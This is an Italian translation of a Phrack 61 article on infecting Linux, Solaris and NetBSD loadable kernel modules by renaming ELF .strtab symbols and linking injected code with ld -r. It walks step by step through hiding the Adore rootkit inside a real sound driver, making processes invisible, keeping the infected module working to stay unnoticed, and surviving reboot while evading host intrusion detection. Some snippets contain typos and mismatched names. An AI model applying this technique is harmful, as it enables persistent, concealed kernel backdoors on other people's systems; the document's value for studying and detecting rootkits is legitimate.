

```
#####
# Ho tradotto un articolo abbastanza recente, di phrack 61, la traduzione #
# non è perfetta, ma cmq credo sia abbastanza chiaro. #
# Come al solito per correzioni, complimenti ;), ecc. la mia mail è: #
# fain182@infinito.it #
#####
wrote by FAiN182 --- http://fain182.altervista.org
#####
[AGGIORNAMENTI]
Vagando per la rete ho scoperto che hanno fatto una patch per adore in modo
che utilizzi in modo completamente autonomo questa procedura, la potete
trovare qui: http://www.void.at/greuff/adore.lkminfect.patch
ed è stata codata da greuff, io non l'ho testata, cmq la lettura di questo
source è cmq interessante per l'interazione con il kernel.
Buona lettura ! :)
#####
==Phrack Inc.==
```

Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f

```
|-----=[ Infecting loadable kernel modules ]-----|
|-----|
|-----=[ truff <truff@projet7.org> ]-----|
```

--[Contents

- 1 - Introduzione
- 2 - Basi ELF
 - 2.1 - La sezione .symtab
 - 2.2 - La sezione .strtab
- 3 - Giocare con i Loadable kernel Modules
 - 3.1 - Caricamento moduli
 - 3.2 - Modifiche a .strtab
 - 3.3 - Code injection
 - 3.4 - Mantenersi invisibili
- 4 - Esempio reale
 - 4.1 - Infettare lkm mini-howto
 - 4.2 - Io sopravviverò (un reboot)
- 5 - A proposito degli altri sistemi ?
 - 5.1 - Solaris
 - 5.2 - *BSD
 - 5.2.1 - FreeBSD
 - 5.2.2 - NetBSD
 - 5.2.3 - OpenBSD
- 6 - Conclusioni
- 7 - Ringraziamenti
- 8 - Bibliografia
- 9 - Code
 - 9.1 - ElfStrChange
 - 9.2 - Lkminject

--[1 - Introduzione

Da pochi anni noi abbiamo visto molti rootkits che usano loadable kernel modules. E' una moda ? in verità no, i lkm sono largamente usati perchè

sono potenti: tu puoi nascondere files, processi e fare altre cose utili. Il primo rootkit ad usare lkm poteva essere facilmente individuato perché veniva visto con un semplice lsmod. Noi abbiamo visto molte tecniche per nascondere moduli, come quella usata nel documento di plaguez[1] o dei numerosi trucchi usati nel Rootkit Adore[2]. Pochi anni fa abbiamo visto altre tecniche basate sulla modifica della memoria del kernel usando /dev/kmem [3]. In fine ci è stata presentata una tecnica di patching statico del kernel in [4]. Questo risolse un importante problema: il rootkit sarà ricaricato dopo il reboot.

Lo scopo di questo documento è descrivere una nuova tecnica usata per nascondere i lkm ed essere sicuri che verranno ricaricati. Noi vedremo come infettare un lkm usato dal sistema. Noi ci concentreremo su Linux kernel x86 serie 2.4.x ma questa tecnica può essere applicata ad altri sistemi operativi che usano il formato ELF. Qualche conoscenza è necessaria per capire questa tecnica. I moduli del kernel sono file ELF object, Noi studieremo il formato ELF concentrandoci su alcune parti relative alla nomina dei simboli in un file ELF object. Dopo di ciò, noi studieremo i meccanismi che sono usati per caricare un modulo per dare a noi le conoscenze sulla tecnica che ci permette di iniettare codice in un modulo del kernel. In fine, noi guarderemo come iniettare un modulo in un altro nella realtà.

--[2 - Basi ELF

Il Formato di Esecuzione e Collegamento (Executable and Linking Format (ELF)) e' il formato degli eseguibili usato su linux. Noi daremo un'occhiata ad una parte di questo formato che ci interessa e che ci sarà utile più tardi (leggi [1] per avere una descrizione completa del formato ELF). Quando linki 2 ELF object, il linker ha bisogno di sapere alcuni dati che si riferiscono ai simboli contenuti in ciascun oggetto. Ogni ELF object (per esempio un lkm) contiene 2 sezioni il cui ruolo è quello di immagazzinare in una struct informazioni che descrivono ogni simbolo. Noi le studiamo per estrarre qualche utile idea per infettare un modulo del kernel.

----[2.1 -La sezione .symtab

Questa sezione è un tab di struct che contiene i dati richiesti dal linker per usare i simboli contenuti in un file ELF object. Questa struct è definita nel file /usr/include/elf.h:

```
/* Symbol table entry. */
typedef struct
{
    Elf32_word    st_name;    /* Symbol name (string tbl index) */
    Elf32_Addr    st_value;   /* Symbol value */
    Elf32_word    st_size;   /* Symbol size */
    unsigned char st_info;   /* Symbol type and binding */
    unsigned char st_other;  /* Symbol visibility */
    Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;
```

L'unico campo che ci interesserà più tardi è st_name. Questo campo è un indice della sezione .strtab dove il nome del simbolo è immagazzinato.

----[2.2 - La sezione .strtab

La sezione .strtab è una sezione di stringhe terminate con zero. Come abbiamo detto prima il campo st_name della struct Elf32_Sym è un indice nella sezione .strtab, così noi possiamo facilmente ottenere l'offset della stringa che contiene il nome del simbolo con la seguente formula:

```
offset_sym_name = offset_strtab + st_name
```

offset_strtab è l'offset della sezione .strtab dall'inizio del file. E' ottenuto dal meccanismo della risoluzione del nome della sezione che io non descrivero' perchè è importante per ciò di cui stiamo parlando. Il meccanismo e' completamente descritto in [5] e implementato nel codice (paragrafo 9.1).

Noi possiamo capire che il nome di un simbolo in un ELF object può essere facilmente trovato e modificato. Comunque una regola deve essere rispettata per eseguire una modifica. Noi abbiamo detto che la sezione .strtab e' una successione di stringhe terminate da zeri, questo implica una restrizione, del nuovo nome del simbolo dopo la modifica: la lunghezza del nuovo nome del simbolo deve essere minore o uguale a quella del nome originale, altrimenti faremo un overflow sul nome del prossimo simbolo sulla sezione .strtab.

Noi vedremo tra poco che la semplice modifica del nome di un simbolo ci condurrà alla modifica delle normali operazioni di un modulo del kernel e infine all'infezione di un modulo da un altro.

--[3 - Giocare con i loadable kernel modules

La prossima sezione e' di mostrare il codice che carica dinamicamente un modulo. Con questo concetto in testa, noi saremo in grado di prevedere la tecnica che ci condurrà ad iniettare codice in un modulo.

----[3.1 - Caricamento moduli

I moduli del kernel sono caricati con la utility in userland insmod che è parte del pacchetto modutils[6]. La cosa interessante si trova nella funzione init_module() del file insmod.c .

```
static int init_module(const char *m_name, struct obj_file *f,
    unsigned long m_size, const char *blob_name,
    unsigned int noload, unsigned int flag_load_map)
{
(1)    struct module *module;
        struct obj_section *sec;
        void *image;
        int ret = 0;
        tgt_long m_addr;

        ....

(2)    module->init = obj_symbol_final_value(f,
        obj_find_symbol(f, "init_module"));
(3)    module->cleanup = obj_symbol_final_value(f,
        obj_find_symbol(f, "cleanup_module"));

        ....

        if (ret == 0 && !noload) {
(4)        fflush(stdout);          /* Flush any debugging output */
            ret = sys_init_module(m_name, (struct module *) image);
            if (ret) {
                error("init_module: %m");
                lprintf(
                    "Hint: insmod errors can be caused by incorrect module parameters, "
                    "including invalid IO or IRQ parameters.\n"
                    "You may find more information in syslog or the output from dmesg");
            }
        }
}
```

Questa funzione è usata (1) per riempire una struct module che contiene i

dati necessari per caricare il modulo. I campi interessanti sono `init_module` e `cleanup_module`, che sono puntatori a funzioni rispettivamente a `init_module()` e `cleanup_module()` del modulo che sta per essere caricato. La funzione `obj_find_symbol()` (2) estrare una struct `symbol` esaminando la `symbol table` e cercando un simbolo che si chiami `init_module`. La stessa operazione è poi chiamata (3) per la funzione `cleanup_module()`. E' necessario tenere a mente che la funzione che sarà chiamata al caricamento e allo scaricamento del modulo sono quelle la cui registrazione nella sezione `.strtab` corrisponde rispettivamente a `init_module` e `cleanup_module`.

Quando la struct `module` è completamente riempita (4) la `syscall sys_init_module()` che è chiamata durante il caricamento del modulo. Il codice di questa funzione si trova nel file: `/usr/src/linux/kernel/module.c`

```
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
    struct module mod_tmp, *mod;
    char *name, *n_name, *name_tmp = NULL;
    long namelen, n_namelen, i, error;
    unsigned long mod_user_size;
    struct module_ref *dep;

    /* Lots of sanity checks */
    /* ... */
    /* Ok, that's about all the sanity we can stomach; copy the rest.*/
(1)   if (copy_from_user((char *)mod+mod_user_size,
                        (char *)mod_user+mod_user_size,
                        mod->size-mod_user_size)) {
        error = -EFAULT;
        goto err3;
    }

    /* Other sanity checks */
    ....

    /* Initialize the module. */
    atomic_set(&mod->uc.usecount,1);
    mod->flags |= MOD_INITIALIZING;
(2)   if (mod->init && (error = mod->init()) != 0) {
        atomic_set(&mod->uc.usecount,0);
        mod->flags &= ~MOD_INITIALIZING;
        if (error > 0) /* Buggy module */
            error = -EBUSY;
        goto err0;
    }
    atomic_dec(&mod->uc.usecount);
}
```

Dopo qualche controllo, la struct `module` è copiata da userland a kernelland chiamando (1) `copy_from_user()`. Poi la (2) funzione `init_module()` del modulo che deve essere caricato è chiamata usando il puntatore a funzione che è stato dato dalla utility `insmod`.

----[3.2 - Modifiche a `.strtab`

Noi abbiamo visto che l'indirizzo del funzione `init` del modulo è trovata usando una stringa nella sezione `.strtab`. La modifica di questa stringa ci permetterà di eseguire un'altra funzione piuttosto che `init_module` quando il modulo è caricato.

Ci sono alcuni modi per modificare una registrazione della sezione `.strtab`. L'opzione `-wrap` di `ld` può essere usata per fare ciò, ma questa opzione non è compatibile con la funzione `-r` che useremo dopo (paragrafo 3.3). Noi vedremo nel paragrafo 5.1 come usare `xxd` per fare questo lavoro.

Io ho programmato un tool (paragrafo 9.1) per automatizzare questo lavoro.

Qui c'e' un piccolo esempio:

```
$ cat test.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
    printk ("<1> Into init_module()\n");
    return 0;
}

int evil_module(void)
{
    printk ("<1> Into evil_module()\n");
    return 0;
}

int cleanup_module(void)
{
    printk ("<1> Into cleanup_module()\n");
    return 0;
}
```

```
$ cc -O2 -c test.c
```

ora diamo un'occhiata alle sezione .symtab e .strtab:

```
$ objdump -t test.o
```

```
test.o:      file format elf32-i386
```

```
SYMBOL TABLE:
0000000000000000 l      df *ABS*  0000000000000000 test.c
0000000000000000 l      d  .text  0000000000000000
0000000000000000 l      d  .data  0000000000000000
0000000000000000 l      d  .bss   0000000000000000
0000000000000000 l      d  .modinfo 0000000000000000
0000000000000000 l      o  .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l      d  .rodata 0000000000000000
0000000000000000 l      d  .comment 0000000000000000
0000000000000000 g      F  .text  0000000000000014 init_module
0000000000000000      *UND*  0000000000000000 printk
0000000000000014 g      F  .text  0000000000000014 evil_module
0000000000000028 g      F  .text  0000000000000014 cleanup_module
```

Noi modificheremo le 2 registrazioni della sezione .strtab per far diventare il nome del simbolo evil_module init_module. Prima di tutto dobbiamo rinominare il symbol init_module poichè non possono esistere 2 simboli della stessa natura e nello stesso ELF object con lo stesso nome. Devono essere compiute le seguenti operazioni:

rinomina

- 1) init_module ----> dumm_module
- 2) evil_module ----> init_module

```
$ ./elfstrchange test.o init_module dumm_module
```

```
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwritten with dumm_module
```

```
$ ./elfstrchange test.o evil_module init_module
```

```
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwritten with init_module
```

```
$ objdump -t test.o
```

```
test.o:      file format elf32-i386
```

```
SYMBOL TABLE:
```

```
0000000000000000 l      df *ABS*  0000000000000000 test.c
0000000000000000 l      d  .text  0000000000000000
0000000000000000 l      d  .data  0000000000000000
0000000000000000 l      d  .bss   0000000000000000
0000000000000000 l      d  .modinfo 0000000000000000
0000000000000000 l      O  .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l      d  .rodata 0000000000000000
0000000000000000 l      d  .comment 0000000000000000
0000000000000000 g      F  .text  0000000000000014 dumm_module
0000000000000000      *UND*  0000000000000000 printk
0000000000000014 g      F  .text  0000000000000014 init_module
0000000000000028 g      F  .text  0000000000000014 cleanup_module
```

```
# insmod test.o
# tail -n 1 /var/log/kernel
May  4 22:46:55 accelerator kernel:  Into evil_module()
```

Come possiamo vedere, la funzione `evil_module` è stata chiamata al posto della `init_module()`.

----[3.3 - Code injection

La tecnica precedente rende possibile l'esecuzione di una funzione al posto di un'altra, comunque questo non è molto interessante. Sarebbe molto meglio iniettare codice esterno nel modulo. Questo può essere *facilmente* fatto usando un magnifico linker: `ld`.

```
$ cat original.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
    printk("<1> Into init_module()\n");
    return 0;
}

int cleanup_module(void)
{
    printk("<1> Into cleanup_module()\n");
    return 0;
}
```

```
$ cat inject.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int inje_module (void)
{
    printk("<1> Injected\n");
}
```

```

} return 0;
}

$ cc -O2 -c original.c
$ cc -O2 -c inject.c

```

Qui inizia la parte importante. L'iniezione del codice non è un problema perchè i moduli del kernel sono file rilocabili ELF object. Questo tipo di object può essere linkato insieme a simboli condivisi e completarne un altro. Comunque una regola deve essere seguita: lo stesso simbolo non può esistere in vari moduli che sono linkati assieme. Noi useremo ld con l'opzione -r per fare un link parziale che creerà un oggetto della stessa natura dell'object che è stato linkato. Questo creerà un modulo che potrà essere caricato dal kernel:

```

$ ld -r original.o inject.o -o evil.o
$ mv evil.o original.o
$ objdump -t original.o

```

original.o: file format elf32-i386

```

SYMBOL TABLE:
0000000000000000 l d .text 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l df *ABS* 0000000000000000 original.c
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l df *ABS* 0000000000000000 inject.c
0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000014 g F .text 0000000000000014 cleanup_module
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000028 g F .text 0000000000000014 inje_module

```

La funzione inje_module() è stata linkata nel modulo. Adesso noi modificheremo la sezione .strtab per far chiamare la funzione inje_module al posto di init_module.

```

$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4a8
[+] .strtab entry overwritten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4bb
[+] .strtab entry overwritten with init_module

```

Carichiamolo:

```

# insmod original.o
# tail -n 1 /var/log/kernel
May 14 20:37:02 accelerator kernel: Injected

E la magia e' venuta :)

```

----[3.4 - Mantenersi invisibili

La maggior parte delle volte infetteremo un modulo che e' in uso. Se noi sostituiamo la funzione `init_module()` con un'altra, il modulo perderà il suo originale scopo a nostro guadagno. Comunque, se il modulo infettato non funziona probabilmente la causa verrà facilmente scoperta. Ma c'e' una soluzione che ci permette di iniettare codice in un modulo senza perdere il suo scopo originario. Dopo l'hack di `.strtab`, la vera `init_module` è chiamata `dumm_module`. Se noi mettiamo una chiamata a `dumm_module` nella funzione `evil_module`, la vera funzione `init_module` verrà chiamata al caricamento del modulo e avrà il suo comportamento normale.

```

                rinomina
init_module    ----->  dumm_module
inje_module    ----->  init_module (chiamerà dumm_module)

```

```

$ cat stealth.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int inje_module (void)
{
    dumm_module ();
    printk (<1> Injected\n");
    return 0;
}

$ cc -O2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4c9
[+] .strtab entry overwritten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4e8
[+] .strtab entry overwritten with init_module

# insmod original.o
# tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel: Into init_module()
May 17 14:57:31 accelerator kernel: Injected

```

Perfetto, il codice iniettato è eseguito dopo il codice regolare, così la modifica è invisibile.

--[4 - Esempio reale

Il metodo usato per modificare la `init_module` nei paragrafi precedenti può essere applicata senza nessun problema alla funzione `cleanup_module()`. Così, noi programiamo una iniezione completa di un modulo in un altro. Io ho iniettato il celeberrimo rootkit Adore[2] nel mio sound driver (`i810_audio.o`) con un trattamento piuttosto semplice.

----[4.1 - Infettare lkm mini-howto

1) Noi dobbiamo modificare leggermente `adore.c`

- * Inserire una chiamata a `dumm_module()` nel codice della funzione `init_module()`
- * Inserire una chiamata a `dummcle_module()` nel codice della funzione `cleanup_module()`

- * Sostituire il nome della funzione `init_module()` con `evil_module()`
- * Sostituire il nome della funzione `cleanup_module` con `evclean_module()`

2) Compilare adore usando make

3) Linkare adore.o con i810_audio.o

```
ld -r i810_audio.o adore.o -o evil.o
```

Se il modulo è già caricato tu devi rimuoverlo:
`rmmod i810_audio`

```
mv evil.o i810_audio.o
```

4) Modificare la sezione `.strtab`

```

          sostituzione
init_module  -----> dumm_module
evil_module  -----> init_module (chiamerà dumm_module)

cleanup_module -----> evclean_module
evclean_module -----> cleanup_module (chiamerà evclean_module)

```

```
$ ./elfstrchange i810_audio.o init_module dumm_module
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwritten with dumm_module
```

```
$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwritten with init_module
```

```
$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwritten with dummcle_module
```

```
$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwritten with cleanup_module
```

5) Caricamento e test del modulo

```
# insmod i810_audio
# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
```

```

h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible

```

```
# ps
PID TTY          TIME CMD
2004 pts/3        00:00:00 bash
2083 pts/3        00:00:00 ps
```

```
# ./ava i 2004
Checking for adore 0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.
```

```
root@accelerator:/home/truff/adore# ps
PID TTY          TIME CMD
```

#

Magnifico :) ho scritto un piccolo script per la shell (paragrafo 9.2) che fa parte del lavoro per persone pigre.

----[4.2 - Io sopravviverò (un reboot)

Quando il modulo è caricato, noi abbiamo 2 opzioni che hanno vantaggi e svantaggi:

* Rimpiazzare il vero modulo che si trova in /lib/modules con un infettato da noi. Questo ci renderà sicuri che la nostra backdoor verrà ricaricata dopo il reboot. Ma, se noi facciamo questo possiamo essere trovati da un HIDS (Host Intrusion Detection System) come Tripwire[7]. Comunque un modulo del kernel non è un eseguibile o un file suid, così non saremo trovati purché l'HIDS non sia settato in modalità "paranoid".

* Lasciare il vero modulo intatto in /lib/modules e cancellare il nostro modulo infettato. Il nostro modulo verrà rimosso al riavvio, ma non saremo trovati da un HIDS che controlla i cambiamenti di file.

--[5 - A proposito degli altri sistemi ?

----[5.1 - Solaris

Ho usato un modulo del kernel basilare da [8] per illustrare questo esempio.

I moduli del kernel di Solaris usano 3 principali funzioni:

- _init che sarà chiamata al caricamento
- _fini che sarà chiamata allo scaricamento
- _info scriverà informazione sul modulo quando verrà chiesto un modinfo

```
$ uname -srp
SunOS 5.7 sparc
```

```
$ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
```

```
extern struct mod_ops mod_miscops;
```

```
static struct modlmisc modlmisc = {
    &mod_miscops,
    "Real Loadable Kernel Module",
};
```

```
static struct modlinkage modlinkage = {
    MODREV_1,
    (void *)&modlmisc,
    NULL
};
```

```
int _init(void)
{
    int i;
    if ((i = mod_install(&modlinkage)) != 0)
        cmn_err(CE_NOTE, "Could not install module\n");
    else
        cmn_err(CE_NOTE, "mod: successfully installed");
    return i;
}
```

```
int _info(struct modinfo *modinfop)
{
```

```

    return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
    int i;
    if ((i = mod_remove(&modlinkage)) != 0)
        cmn_err(CE_NOTE, "Could not remove module\n");
    else
        cmn_err(CE_NOTE, "mod: successfully removed");
    return i;
}

```

```

$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
$ ld -r -o mod mod.o
$ file mod
mod: ELF 64-bit MSB relocatable SPARCV9 Version 1

```

Come abbiamo visto nel caso di linux, il codice che inietteremo deve contenere una chiamata alla reale funzione `initper` per mantenere il regolare comportamento del modulo. Comunque, noi dobbiamo affrontare un problema: se noi modifichiamo la sezione `.strtab` dopo l'operazione di linking, il caricatore dinamico non troverà la funzione `_dumm()` e il modulo non potrà essere caricato. Io non ho esaminato molto questo problema, ma credo che il caricatore dinamico di Solaris non cerca simboli indefiniti nel modulo stesso. Comunque questo problema può essere facilmente risolto. Se noi cambiamo la reale registrazione `_init` di `.strtab` prima dell'operazione di linking tutto funziona.

```

$ readelf -S mod
There are 10 section headers, starting at offset 0x940:

```

Section Headers:

[Nr]	Name	Type	Address	Offset
	Size	EntSize	Flags Link Info	Align
[0]	0000000000000000	NULL	0000000000000000	00000000
[1]	.text	PROGBITS	0000000000000000	00000040
	0000000000000188	0000000000000000	AX 0 0	4
[2]	.rodata	PROGBITS	0000000000000000	000001c8
	000000000000009b	0000000000000000	A 0 0	8
[3]	.data	PROGBITS	0000000000000000	00000268
	0000000000000050	0000000000000000	WA 0 0	8
[4]	.symtab	SYMTAB	0000000000000000	000002b8
	0000000000000210	0000000000000018	5 e	8
[5]	.strtab	STRTAB	0000000000000000	000004c8
	0000000000000065	0000000000000000	0 0	1
[6]	.comment	PROGBITS	0000000000000000	0000052d
	0000000000000035	0000000000000000	0 0	1
[7]	.shstrtab	STRTAB	0000000000000000	00000562
	000000000000004e	0000000000000000	0 0	1
[8]	.rela.text	RELA	0000000000000000	000005b0
	00000000000000348	0000000000000018	4 1	8
[9]	.rela.data	RELA	0000000000000000	000008f8
	0000000000000048	0000000000000018	4 3	8

Key to Flags:

- W (write), A (alloc), X (execute), M (merge), S (strings)
- I (info), L (link order), G (group), x (unknown)
- 0 (extra OS processing required) o (OS specific), p (processor specific)

La sezione `.strtab` inizia all'offset `0x4c8` e ha una dimensione di 64 bytes. Noi useremo `vi` e `xdd` come editor esadecimale. Apriamo il modulo con `vi con: vi mod`. Dopo l'uso di `:%!xdd` per convertire il modulo in valori

esadecimali vedrete qualcosa come questo:

```
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .....mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69 tall._init.mod_i
                ^^^^^^^^^^^
```

Noi modifichiamo 4 byte per sostituire `_init` con `_dumm`.

```
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .....mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69 tall._init.mod_i
                ^^^^^^^^^^^
```

Noi usiamo `:%!xxd -r` per recuperare dal modulo i valori esadecimali, poi salviamo e usciamo `:wq`. Dopo noi possiamo controllare se la sostituzione ha funzionato.

```
$ objdump -t mod
```

```
mod:      file format elf64-sparc
```

```
SYMBOL TABLE:
0000000000000000 l      df *ABS* 0000000000000000 mod
0000000000000000 l      d  .text 0000000000000000
0000000000000000 l      d  .rodata 0000000000000000
0000000000000000 l      d  .data 0000000000000000
0000000000000000 l      d *ABS* 0000000000000000
0000000000000000 l      d *ABS* 0000000000000000
0000000000000000 l      d  .comment 0000000000000000
0000000000000000 l      d *ABS* 0000000000000000
0000000000000000 l      d *ABS* 0000000000000000
0000000000000000 l      d *ABS* 0000000000000000
0000000000000000 l      df *ABS* 0000000000000000 mod.c
0000000000000010 l      o  .data 0000000000000040 modlinkage
0000000000000000 l      o  .data 0000000000000010 modlmisc
0000000000000000 *UND* 0000000000000000 mod_miscops
00000000000000a4 g      F  .text 0000000000000040 _info
0000000000000000 *UND* 0000000000000000 mod_install
0000000000000000 g      F  .text 0000000000000188 _dumm
0000000000000000 *UND* 0000000000000000 mod_info
0000000000000000 *UND* 0000000000000000 mod_remove
00000000000000e4 g      F  .text 0000000000000188 _fini
0000000000000000 *UND* 0000000000000000 cmn_err
```

Il simbolo `_init` è stato sostituito da `_dumm`. Ora possiamo iniettare direttamente il codice della funzione che si chiama `_init` senza problemi.

```
$ cat evil.c
int _init(void)
{
    _dumm ();
    cmn_err(1,"evil: successfully installed");
    return 0;
}
```

```
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o
```

L'iniezione usando `ld`:

```
$ ld -r -o evil mod inject
```

Caricamento del modulo:

```
# modload evil
# tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed
```

Le stesse operazioni vanno compiute per la funzione `_fini` per iniettare un modulo completo in un altro.

```
----[ 5.2 - *BSD
```

```
-----[ 5.2.1 - FreeBSD
```

```
% uname -srm
FreeBSD 4.8-STABLE i386
```

```
% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped
```

Come possiamo vedere i moduli del kernel `freebsd` sono `shared object`. Così noi non possiamo usare `ld` per linkare codice aggiuntivo al modulo. Inoltre il meccanismo che è usato per caricare un modulo è completamente differente da quello usato su sistemi Linux o Solaris. Tu puoi guardarlo in `/usr/src/sys/kern/kern_linker.c`. Qualsiasi nome può essere usato per le funzioni `init` e `cleanup`. Al caricamento il loader trova l'indirizzo della funzione `init` in una struct messa nella sezione `.data`. Quindi l'hack di `.strtab` non può essere usato.

```
-----[ 5.2.2 - NetBSD
```

```
$ file nvidia.o
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1
(SYSV), not stripped
```

Noi possiamo iniettare codice in un modulo del kernel `NetBSD` poichè è un `ELF object relocatable`. Quando `modload` carica il modulo del kernel lo linka con il kernel e esegue il codice piazzato nell'entry point del modulo (che si trova nell'ELF header).

Dopo l'operazione di linking, noi possiamo cambiare questo entry point, ma non è necessario perchè `modload` ha l'opzione speciale `(-e)` che permette di dire quale simbolo usare come entry point.

Qui c'è l'esempio del modulo che infetteremo:

```
$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/system.h>
#include <sys/conf.h>
#include <sys/lkm.h>

MOD_MISC("gentil");

int gentil_lkmentry(struct lkm_table *, int, int);
int gentil_lkmlload(struct lkm_table *, int);
int gentil_lkmunload(struct lkm_table *, int);
int gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkm, int cmd, int ver)
{
    DISPATCH(lkm, cmd, ver, gentil_lkmlload, gentil_lkmunload,
             gentil_lkmstat);
}
```

```

}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: Hello, world!\n");
    return (0);
}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: Goodbye, world!\n");
    return (0);
}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: How you doin', world?\n");
    return (0);
}

```

Qui c'è il codice che sarà iniettato:

```

$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/system.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
    switch(cmd) {
    case LKM_E_LOAD:
        printf("evil: in place\n");
        break;
    case LKM_E_UNLOAD:
        printf("evil: i'll be back!\n");
        break;
    case LKM_E_STAT:
        printf("evil: report in progress\n");
        break;
    default:
        printf("edit: unknown command\n");
        break;
    }

    return gentil_lkmentry(lkmt, cmd, ver);
}

```

Dopo aver compilato gentil ed evil linkiamoli assieme:

```

$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat
Type   Id   Offset Loadaddr Size Info      Rev Module Name
DEV    0   -1/108 d3ed3000 0004 d3ed3440 1  mmr
DEV    1   -1/180 d3fa6000 03e0 d4090100 1  nvidia
MISC   2     0 e45b9000 0004 e45b9254 1  gentil

```

```
# modunload -n gentil
# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!
```

Ok, tutto funziona come un incantesimo :)

-----[5.2.3 - OpenBSD

OpenBSD non usa l'ELF su architetture x86, in questo modo la tecnica non può essere usata. Io non l'ho testato su piattaforme in cui usa l'ELF, ma credo sia simile a NetBSD, per cui la tecnica può essere certamente usata. Dimmelo se provi a farlo su un ELF OpenBSD.

--[6 - Conclusioni

Questo documento ha ingrandito il numero di tecniche che permettono di nascondere del codice nel kernel. Io ho presentato questa tecnica perché è interessante farla con poche e semplici manipolazioni. Divertiti quando giochi con questa :)

--[7 - Greetings

Io voglio ringraziare thanks mycroft, OUAH, aki and afrique per i loro commenti e idee. Un grazie a klem per avermi insegnato il reverse engineering. Grazie a FXKennedy per avermi aiutato con NetBSD. Un grande bacio a Carla per essere stupenda. E infine grazie a tutti quelli di #root, `spud, hotfyre, funka, jaia, climax, redoktober ...

--[8 - Bibliografia

- [1] Weakening the Linux kernel by Plaguez
<http://www.phrack.org/show.php?p=52&a=18>
- [2] The Adore rootkit by stealth
<http://stealth.7350.org/rootkits/>
- [3] Runtime kernel kmem patching by Silvio Cesare
<http://vx.netlux.org/lib/vsc07.html>
- [4] Static Kernel Patching by jbtzhm
<http://www.phrack.org/show.php?p=60&a=8>
- [5] Tool interface specification on ELF
http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf
